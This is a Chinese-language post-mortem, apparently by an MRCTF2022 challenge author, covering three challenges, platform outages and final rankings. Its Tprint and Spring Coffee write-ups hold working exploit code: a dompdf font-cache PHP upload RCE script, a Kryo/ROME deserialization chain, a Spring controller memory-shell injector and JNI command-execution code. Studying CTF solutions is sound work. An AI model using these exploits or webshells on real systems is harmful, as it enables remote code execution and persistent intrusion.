MRCTF2022后记

WriteUp 2年前 (2022) admin
1,422 0 0


缘起

今年应该是MRCTF的第三个年头了,前两年因为缺乏赞助,奖金和平台都受到了用爱发电的“物理限制”。今年zbr拉到了微步来做赞助,奖金规模一下就高起来了?。这里还是要感谢一下微步大老板的鼎力支持。


MRCTF2022后记


出题

这次比赛出了仨题,ppd,Tprint,Spring Coffee。自评难度是从简单到难。

ppd

因为考的比web杂,加之有一点点点点脑洞,所以就扔到了misc

观察包的话可以发现前端默认随机了一个username发了一个start请求

回包里有两件事一个debug一个enc


MRCTF2022后记


如果手动构造用户名去start就会观察到这个encdebug是有关系的,甚至username如果为aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa的话会观察到相同的密文节

那么很容易联想到是某种ecb模式的分组密码。这里我们已经控制了加密机,那就可以构造出我们想要的任意密文分组了。

所以回过头来看题目名ppd就是密文分组拼拼多,把通过注入用户名构造的密文分组按128位一组拼一下,就能获得拿到100进度的用户enc了。

在前端中找到提交逻辑,提交就可以获取flag

贴一下脑王@Nano的认可!?

MRCTF2022后记

Tprint

tprint的灵感来自一个1day[1]

当时出题的时候网上分析还没那么多,结果比赛的时候已经有师傅分析的很透彻了[2]

主要就是利用dompdf在解析html文件时会默认加载远程css并且进一步缓存远程字体文件的问题。因为未对字体文件后缀进行过滤,导致可以直接缓存任意文件,并且缓存文件名是可以计算出来的。这就导致了一个间接的文件写漏洞。

盗一下github上的攻击示意图:


MRCTF2022后记


原攻击手法是通过xss来注入css,因为本题不出网,设置了一个文件上传点,通过上传html的方式来进行css注入。我们只需要把恶意字体文件/恶意css/恶意html文件上传上去然后打印我们的恶意文件就能同样触发这个攻击链。

Exp如下:

import requestsfrom hashlib import md5
url = "http://246abfb2-0f91-48ec-a88c-b2314709ed87.node1.mrctf.fun:81"
font_name = "eki"
def print2pdf(page): param= { "s":"Printer/print", "page":page } res = requests.get(f"{url}/public/index.php",params=param) return res
def upload(filename,raw): data = { "name":"avatar", "type":"image", } res = requests.post(f"{url}/public/index.php?s=admin/upload",data=data,files={"file":(filename,raw,"image/png")}) return res.json()["result"]
exp_font = "./exp.php"
php_location = upload("exp.php",open(exp_font,"rb").read())
print(f"php_location=>{php_location}")
exp_css = f"""@font-face{{ font-family:'{font_name}'; src:url('http://localhost:81{php_location}'); font-weight:'normal'; font-style:'normal';}}
css_location = upload("exp.css",exp_css)
print(f"css_location=>{css_location}")

html = f"""<link rel=stylesheet href='http://localhost:81{css_location}'><span style="font-family:{font_name};">5678</span>"""
html_location = upload("exp.html",html)

payload = "/storage/"print(f"html_location=>{html_location}")
p = html_location
print(p)
res = print2pdf(p)
open("out.pdf","wb").write(res.content)
md5helper = md5()
md5helper.update(f"http://localhost:81{php_location}".encode())
remote_path = f"/vendor/dompdf/dompdf/lib/fonts/{font_name}-normal_{md5helper.hexdigest()}.php"
print(f"remote_path=>{remote_path}")
res = requests.get(url+remote_path)
print(res.text)


MRCTF2022后记


这个题放的比较晚,最后只有WM的师傅解出来了,膜下@Ha1和@Guoke师傅

SpringCoffee

这个题的灵感来自hf2022的ezchain,当时没做出来,赛后学了一波signedObject的二次注入手法,深感巧妙,然后就缝合出了这个题。

首先从marshalsec中抓了一个比较冷门的序列器kyro,他在反序列化HashMap的时候也是会调用hashCode的,因此也可用Rome这条链子打,不过有个小问题是在默认情况下kryo只能反序列化带有空参构造函数的类,因此需要修改一下kryo的反序列化配置。设置InstantiatorStarategyorg.objenesis.strategy.StdInstantiatorStrategy,并且关闭调需要注册才能反序列化的功能。题目里给了这样一个接口。

    @RequestMapping("/coffee/demo")    public Message demoFlavor(@RequestBody String raw) throws Exception {        System.out.println(raw);        JSONObject serializeConfig = new JSONObject(raw);        if(serializeConfig.has("polish")&&serializeConfig.getBoolean("polish")){            kryo=new Kryo();            for (Method setMethod:kryo.getClass().getDeclaredMethods()) {                if(!setMethod.getName().startsWith("set")){                    continue;                }                try {                    Object p1 = serializeConfig.get(setMethod.getName().substring(3));                    if(!setMethod.getParameterTypes()[0].isPrimitive()){                        try {                            p1 = Class.forName((String) p1).newInstance();                            setMethod.invoke(kryo, p1);                        }catch (Exception e){                            e.printStackTrace();                        }                    }else{                        setMethod.invoke(kryo,p1);                    }                }catch (Exception e){                    continue;                }            }        }
ByteArrayOutputStream bos = new ByteArrayOutputStream(); Output output = new Output(bos); kryo.register(Mocha.class); kryo.writeClassAndObject(output,new Mocha()); output.flush(); output.close();
return new Message(200,"Mocha!",Base64.getEncoder().encode(bos.toByteArray())); }

可以修改kryo的配置。

在默认情况下Spring Controller是单例的,每个请求拿到的kryo是一样的。因此,我们在demoFlavor处通过set方法去修改kryo的策略就可以在order接口绕过限制

def demo():    data = {        "polish":True,        "References":True,        "RegistrationRequired":False,        "InstantiatorStrategy":"org.objenesis.strategy.StdInstantiatorStrategy",    }    res = requests.post(url+"/coffee/demo",json=data)
return res.json()

接下来就是ROME反序列化了,不过和hessian2一样,因为不是原生反序列化,TemplateImpltransient _tfactory是会序列化过程中丢失的,所以无法直接用,而又因为不出网,所以这里采用经典的ROME二次反序列化:

ROME->SignedObject->ROME->TemplateImpl

到了这一步就可以在目标上任意执行字节码了,不过没办法直接Runtime.getRuntime().exec(),这是为什么呢?如果去读目录和文件就会发现目录下有个rasp.jar

MRCTF2022后记

作用很简单,就是把java.lang.ProcessImplstart方法置空了,这样Runtime之流就没法执行命令了。

不过因为目标机器是Linux系统,我们可以直接调用UnixProcess这个更为底层的类去执行方法,或者可以通过jni的方式直接进行系统调用。这里简单介绍一下JNI的方式。

首先还是老规矩注册一个内存马,这里为了方便JNI,直接注入一个没有类依赖关系的Controller内存马

static {
try { String inject_uri = "/evil"; System.out.println("Controller Injecting"); WebApplicationContext context = (WebApplicationContext) RequestContextHolder. currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field f = mappingHandlerMapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry"); f.setAccessible(true); Object mappingRegistry = f.get(mappingHandlerMapping);
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");
Method[] ms = c.getDeclaredMethods();
Field field = null; try { field = c.getDeclaredField("urlLookup"); field.setAccessible(true); }catch (NoSuchFieldException e){ field = c.getDeclaredField("pathLookup"); field.setAccessible(true); }
Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry); for (String urlPath : urlLookup.keySet()) { if (inject_uri.equals(urlPath)) { throw new Exception("already had same urlPath"); } }
Class <?> evilClass = MSpringJNIController.class;
Method method2 = evilClass.getMethod("index");
RequestMappingInfo.BuilderConfiguration option = new RequestMappingInfo.BuilderConfiguration(); option.setPatternParser(new PathPatternParser());
RequestMappingInfo info = RequestMappingInfo.paths(inject_uri).options(option).build();
// 将该controller注册到Spring容器 mappingHandlerMapping.registerMapping(info, evilClass.newInstance(), method2); }catch (Exception e){ e.printStackTrace(); } }

这里一个方法是native的,表示从库中调用,一个方法用来做回显路由

public class MSpringJNIController {    public native String doExec(String cmd);    @ResponseBody    public void index() throws IOException {        ...    }}

用javah生成头文件

/* DO NOT EDIT THIS FILE - it is machine generated */#include <jni.h>/* Header for class xyz_eki_serialexp_memshell_MSpringJNIController */
#ifndef _Included_xyz_eki_serialexp_memshell_MSpringJNIController#define _Included_xyz_eki_serialexp_memshell_MSpringJNIController#ifdef __cplusplusextern "C" {#endif/* * Class: xyz_eki_serialexp_memshell_MSpringJNIController * Method: doExec * Signature: (Ljava/lang/String;)Ljava/lang/String; */JNIEXPORT jstring JNICALL Java_xyz_eki_serialexp_memshell_MSpringJNIController_doExec (JNIEnv *, jobject, jstring);
#ifdef __cplusplus}#endif#endif

然后就可以在对应的Java_xyz_eki_serialexp_memshell_MSpringJNIController_doExec函数里写相关逻辑了

这里简单写一个命令执行

#include<jni.h>#include<stdio.h>#include<cstdlib>#include<cstring>#include "xyz_eki_serialexp_memshell_MSpringJNIController.h"
int execmd(const char *cmd, char *result){ char buffer[1024*12]; //定义缓冲区 FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令 if (!pipe) return 0; //返回0表示运行失败
while (!feof(pipe)) { if (fgets(buffer, 256, pipe)) { //将管道输出到result中 strcat(result, buffer); } } pclose(pipe); //关闭管道 return 1; //返回1表示运行成功}

JNIEXPORT jstring JNICALL Java_xyz_eki_serialexp_memshell_MSpringJNIController_doExec(JNIEnv *env, jobject thisObj,jstring jstr) { const char *cstr = env->GetStringUTFChars(jstr, NULL); char result[1024 * 12] = ""; //定义存放结果的字符串数组 execmd(cstr, result);
char return_messge[256] = ""; strcat(return_messge, result); jstring cmdresult = env->NewStringUTF(return_messge);
return cmdresult;}
JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved){ return JNI_VERSION_1_4; //这里很重要,必须返回版本,否则加载会失败。}

然后我们就可以执行命令了


MRCTF2022后记


不过为了卡一些奇怪的RCE方式,给readflag加了个算数挑战,需要简单交互一下子


MRCTF2022后记


这里用c也很好实现

static int start_subprocess(char *command[], int *pid, int *infd, int *outfd){    int p1[2], p2[2];
if (!pid || !infd || !outfd) return 0;
if (pipe(p1) == -1) goto err_pipe1; if (pipe(p2) == -1) goto err_pipe2; if ((*pid = fork()) == -1) goto err_fork;
if (*pid) { /* Parent process. */ *infd = p1[1]; *outfd = p2[0]; close(p1[0]); close(p2[1]); return 1; } else { /* Child process. */ dup2(p1[0], 0); dup2(p2[1], 1); close(p1[0]); close(p1[1]); close(p2[0]); close(p2[1]); execvp(*command, command); /* Error occured. */ fprintf(stderr, "error running %s: %s", *command, strerror(errno)); abort(); }
err_fork: close(p2[1]); close(p2[0]);err_pipe2: close(p1[1]); close(p1[0]);err_pipe1: return 0;}
int readnum(int infd){ int sign = 1; char x; int val = 0; read(infd, &x, 1); if (x == '-') { sign = -1; read(infd, &x, 1); } while ( '0'<= x && x <= '9') { val *= 10; val += (x - '0'); read(infd, &x, 1); } return val * sign;}
void solve(char* buf){ int pid, infd, outfd; char *cmd[2]; cmd[0] = "/readflag"; cmd[1] = 0; start_subprocess(cmd, &pid, &outfd, &infd); memset(buf,0,sizeof(buf));
read(infd, buf, strlen("please answer the challenge below first:n"));
int a, b;
a = readnum(infd); b = readnum(infd);

int ans = a + b; char v_str[1000]; sprintf(v_str, "%dn", ans);
write(outfd, v_str, strlen(v_str)); memset(buf,0,sizeof(buf)); read(infd, buf, 1000); read(infd, buf, 1000); read(infd, buf, 1000);}

这个题最后被三个师傅切掉了@ha1 @Y4tacker @Mrkaixin,利用UnixProcess和JNI的解法都有,UnixProcess算是一个非预期,因为愚蠢的出题人?是在Windows上写题目的,不过还好都得被计算题折磨一下?。

详细的题解和环境可以参考仓库[3]

运维

因为去年是单人赛模式,今年改成队伍了,所以给单人赛的模型外面又包了一层队伍的模型,这一包不要紧,bug就漫天飞了。其实核心还是出在分数计算上。每个提交会计算生成SolutionDetail,包含(user,team,challenge,solved),那么可想而知,如果team没有做好去重,会导致分数计算异常。?

一开始排行榜的问题是因为我误用了django ormdistinct函数,导致分数计算失败,排行榜整个炸了。所以我退而求其次,在checkFlag入口出添加了一个逻辑检查,很遗憾,这个修复一直存在问题,直到第一天比赛的晚上,我才和@DuanYuFi师傅修复完毕。导致排行榜和提交flag时不时抽风,给各位参赛的师傅带来了不好的体验。?

还有一个重要事故就是错误估计了平台的承受能力,结果一开始服务器占用直接飙到431%


MRCTF2022后记

然后寄了,花了50分钟去扩容服务器。?属于是至暗时刻了。

好在第一天的晚上,服务器的问题基本都解决了。包括bot也能正常上线了。可见测试工作还是非常重要,急急忙忙上线是不会有好果汁?吃的。

平台还是开源在https://github.com/EkiXu/CTFm,欢迎师傅们来捉虫和提建议。

结语

终于MRCTF2022在磕磕绊绊中落幕了,感谢参赛选手对运维的不杀之恩。?

MRCTF2022后记


AAA属实太猛了???,第一天下午就遥遥领先,并将差距保持到了最后

MRCTF2022后记

从0点一直A到早上8点的AAA

MRCTF2022后记

最终前十名队伍的分数和解题情况如下

MRCTF2022后记

%%%%%%

希望明年的MRCTF能给大家带来更好的参赛体验。???

References

[1] 1day: https://github.com/positive-security/dompdf-rce
[2] 有师傅分析的很透彻了: https://ghostasky.github.io/2022/03/19/dompdf%200day(RCE)%E5%A4%8D%E7%8E%B0/
[3] 仓库: https://github.com/EkiXu/My-CTF-Challenge


原文始发于微信公众号(一屋一琦):MRCTF2022后记

版权声明:admin 发表于 2022年4月25日 下午9:00。
转载请注明:MRCTF2022后记 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...